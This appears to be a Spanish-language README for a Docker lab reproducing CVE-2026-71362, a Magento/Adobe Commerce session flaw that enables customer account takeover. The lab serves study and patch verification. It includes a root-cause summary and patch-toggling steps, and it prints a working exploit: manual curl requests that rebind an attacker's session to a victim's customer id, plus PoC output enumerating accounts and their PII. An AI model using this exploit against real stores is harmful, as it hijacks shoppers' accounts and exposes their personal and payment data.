CVE-2026-71362 — Laboratorio de cambio de identidad en la sesión de cliente de Magento / Adobe Commerce

Un laboratorio Docker autocontenido y de un solo comando que reproduce CVE-2026-71362 de principio a fin y te permite verificar la corrección de Adobe, para que defensores, investigadores y estudiantes puedan estudiar una primitiva real de apropiación de cuentas en una tienda desechable.

⚠️ Solo uso autorizado

Este laboratorio existe para reproducir una vulnerabilidad pública y parcheada para la investigación defensiva y la educación. Ejecútalo únicamente contra la tienda desechable que construye. No lo uses contra ninguna instancia de Magento/Adobe Commerce que no poseas o para la que no tengas permiso escrito explícito para realizar pruebas. Eres responsable de cumplir con toda la legislación aplicable.

En qué consiste el fallo (versión de 30 segundos)

Magento\Customer\Controller\Account\Edit::execute() introduce el customer_form_data bruto y controlado por el atacante, dejado en la sesión por un editPost fallido, en DataObjectHelper::populateWithArray(), que copia todas las claves coincidentes sobre el objeto de cliente, incluida id. El objeto se vuelve a escribir con Session::setCustomerData() → setCustomerId($object->getId()) y, como Customer\Model\Session::getId() simplemente devuelve getCustomerId(), sobrescribir customer_id por sí solo hace que isLoggedIn() devuelva true como la víctima. No hay comprobación de contraseña, token ni propiedad. Un atacante con solo una cuenta desechable auto-registrada puede volver a vincular su sesión a cualquier id de cliente y leer la PII, los pedidos, las direcciones y los tokens de pago almacenados de esa cuenta.

Análisis completo: docs/ROOTCAUSE.md. Reglas de detección y WAF: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Requisitos

• Docker + Docker Compose v2
• ~6 GB de RAM libre para los contenedores, ~5 GB de disco
• Python 3 (solo para ejecutar el PoC) — pip install -r exploit/requirements.txt

La compilación obtiene Magento Open Source de fuentes públicas; no se requieren claves de Adobe Marketplace.

Inicio rápido

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Tienda: http://127.0.0.1:8080/ · Administración: http://127.0.0.1:8080/admin (admin / Admin123!). Cambia el host/puerto en .env (consulta .env.example) — el valor debe coincidir con la URL a la que accedes, porque Magento fija su cookie de sesión a la URL base de la tienda.

Salida esperada del PoC (vulnerable)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Verifica la corrección (control negativo A/B/A)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch sustituye el archivo por patch/Edit.patched.php — el cambio exacto de upstream de patch/official-APSB26-92-module-customer.patch. Activar y desactivar solo ese archivo es el oráculo de que el fallo es precisamente este fragmento.

Reproducción manual (sin Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Mitigación (tiendas reales)

Aplica el parche aislado APSB26-92 de agosto de 2026 para tu rama (24Xp-2026-08-001-CE). Adobe sirve el registro de parches y los diffs sin credenciales en https://repo.magento.com/patch/patch-registry.json. La corrección no está en GitHub público — no se publicó ningún paquete de Composer ni etiqueta git para ella, por lo que composer update no la descargará.

Estructura

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Solución de problemas

• El PoC imprime "still installing" — el primer arranque compila Magento; ejecuta make logs y espera a que aparezca Install complete, y luego make wait.
• Todo devuelve 500 justo después de la instalación — hay una condición de carrera de permisos en generated/; ejecuta make shell y luego php bin/magento cache:flush (el entrypoint normalmente lo gestiona).
• Comportamiento extraño de cookie/CSRF — estás accediendo a un host distinto de la URL base de la tienda. Mantén MAGENTO_HOST/HOST_PORT en .env iguales a la URL que usas (y que usa TARGET).

Referencias

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe corrige una apropiación de cuentas crítica en Magento (APSB26-92)
• Investigador acreditado: 0x0.eth

Licencia

MIT — consulta LICENSE. Se proporciona con fines educativos y de pruebas autorizadas, sin garantía.